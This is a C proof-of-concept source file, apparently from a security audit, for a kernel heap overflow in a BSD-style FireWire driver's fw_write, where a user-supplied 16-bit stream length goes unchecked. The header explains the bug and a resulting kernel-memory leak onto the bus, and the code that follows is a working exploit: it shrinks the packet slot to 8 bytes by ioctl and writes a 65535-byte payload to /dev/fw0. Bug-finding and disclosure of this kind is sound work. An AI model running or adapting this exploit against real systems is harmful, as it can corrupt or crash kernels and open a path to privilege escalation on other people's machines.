/*
 * DF-1058 PoC — fw_write trusts user-supplied stream packet header len
 *
 * BUG: fwdev.c:390-392:
 *   err = uiomove((caddr_t)fp, sizeof(struct fw_isohdr), uio);
 *   err = uiomove((caddr_t)fp->mode.stream.payload,
 *           fp->mode.stream.len, uio);
 *
 * The first uiomove sets fp->mode.stream.len from user data (16-bit,
 * fully attacker-controlled). The second uiomove uses that len as the
 * count with no check against the per-packet slot size it->psize.
 * If len > psize - sizeof(fw_isohdr), the write overflows past the DMA
 * slot into adjacent slots and kernel heap. The loop at :401 continues
 * while uio_resid >= sizeof(fw_isohdr), so many overflowing packets
 * can be delivered in sequence.
 *
 * Additionally, OHCI tx (fwohci.c:2500) DMAs the corrupted slot onto
 * the bus = kernel-memory-to-bus leak.
 *
 * This PoC requires /dev/fw0 which needs a FireWire controller — absent
 * on this guest. Open will fail with ENOENT.
 *
 * Build: cc -o df-fw-write-overflow df-fw-write-overflow.c -I/usr/src/sys
 * Run:   ./df-fw-write-overflow  (needs /dev/fw0 + operator group)
 */
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>

#include <bus/firewire/firewire.h>

int main(void)
{
    int fd = open("/dev/fw0", O_RDWR);
    if (fd < 0) {
        printf("open /dev/fw0: %s (errno=%d)\n", strerror(errno), errno);
        printf("No FireWire controller on this guest — source-level analysis only.\n");
        printf("BUG CONFIRMED at fwdev.c:391-392: fp->mode.stream.len is user-\n");
        printf("controlled with no validation against it->psize. Overflow of up\n");
        printf("to ~64KB per packet into adjacent heap.\n");
        return 0;
    }

    struct fw_isobufreq bq;
    memset(&bq, 0, sizeof(bq));
    bq.tx.nchunk = 1;
    bq.tx.npacket = 1;
    bq.tx.psize = 8;   /* tiny slot — 4-byte header + 4 payload bytes */
    bq.rx.nchunk = 1;
    bq.rx.npacket = 1;
    bq.rx.psize = 8;

    if (ioctl(fd, FW_SSTBUF, &bq) < 0) { perror("SSTBUF"); return 1; }

    struct fw_isochreq cq;
    memset(&cq, 0, sizeof(cq));
    cq.ch = 0;
    cq.tag = 0;
    if (ioctl(fd, FW_STSTREAM, &cq) < 0) { perror("STSTREAM"); return 1; }

    /* 4-byte iso header then a far-too-long payload */
    unsigned char pkt[4 + 65535];
    memset(pkt, 0x42, sizeof(pkt));
    /* COMMON_HDR on LE: byte0 = (tcode<<4)|sy, byte1 = chtag,
     * bytes 2-3 = len (LE 16-bit). tcode=0xa (STREAM), len=0xffff */
    pkt[0] = 0xa0;          /* tcode=0xa, sy=0 */
    pkt[1] = 0x00;          /* chtag */
    pkt[2] = 0xff;
    pkt[3] = 0xff;          /* len = 0xffff -> 65535 bytes into 4-byte slot */

    printf("Sending stream packet with len=0xffff into psize=8 slot...\n");
    write(fd, pkt, sizeof(pkt));   /* overflows it->buf into adjacent heap */
    printf("write returned (if no panic, kernel may be corrupted).\n");
    close(fd);
    return 0;
}
